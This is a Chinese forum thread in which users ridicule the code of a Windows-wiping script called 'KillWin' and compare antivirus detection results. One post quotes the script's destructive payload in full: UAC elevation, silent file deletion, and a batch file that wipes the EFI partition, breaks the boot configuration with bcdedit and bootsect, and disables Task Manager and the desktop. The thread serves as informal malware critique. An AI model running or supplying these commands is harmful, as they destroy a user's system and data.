一年两度的KillWin又来了

电脑发烧迷

简单review了下代码，笑点解析：

1. def require_admin():
   
2.     if not ctypes.windll.shell32.IsUserAnAdmin():
   
3.         ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, __file__, None, 1)

复制代码

神秘提权，父进程启动了一个高权限的子进程用于破坏，但是低权限的父进程仍然不会退出
你以为两次弹窗警告是故意的？其实这里是漏了sys.exit()
聪明的作者在这取了个巧

1. try:
   
2.     os.remove(os.path.join(root, file))
   
3. except:
   
4.     pass

复制代码

我把低权限无法删除的报错全部忽略掉不就行了（

1. def abdestroy():
   
2.     a = '\nmountvol X: /S & del X:\\*.*/s/f/q & rd /s/q X:\\EFI\ndate 7600-12-12\nmkdir "C:\\Windows\\System32\\config\\OSDATA"\nfsutil volume dismount C:\nbootsect /nt60 ALL /mbr /force\nbcdedit /set {bootmgr} device none\nbcdedit /set {bootmgr} path no\nbcdedit /set {default} device none\nbcdedit /set {default} path no\nbcdedit /deletevalue {bootmgr} path\nbcdedit /deletevalue {default} osdevice\nbcdedit /deletevalue {default} device\nbcdedit /delete {default} /f\nbcdedit /delete {bootmgr} /f\nbcdedit /createstore nul >nul 2>&1\nreg add "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f\nreg add "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f\n'
   
3.     with open('C:/autorec.bat', 'w') as f:
   
4.         f.write(a)
   
5.     os.startfile('C:/autorec.bat')

复制代码

典中典删一大堆东西，删EFI、BCD、MBR、注册表养活了多少脚本小子
不过最难绷的还是这里

1. fsutil volume dismount C:

复制代码

要删一大堆东西还先把C盘弹出来，厉害
感觉都不是AI粗制滥造的，现在的AI应该写的没那么烂吧

YYT2013

电脑发烧迷 发表于 2026-7-29 11:45
简单review了下代码，笑点解析：

神秘提权，父进程启动了一个高权限的子进程用于破坏，但是低权限的父进 ...

这个OSDATA是个bug貌似去年就有了，到现在还有人这么写

电脑发烧迷

YYT2013 发表于 2026-7-29 12:27
这个OSDATA是个bug貌似去年就有了，到现在还有人这么写

没了解过这个bug，已更正

GDHJDSYDH

红伞扫描miss，双击APC

aikafans

fsp apc

c199529

腾讯电脑管家18

不报毒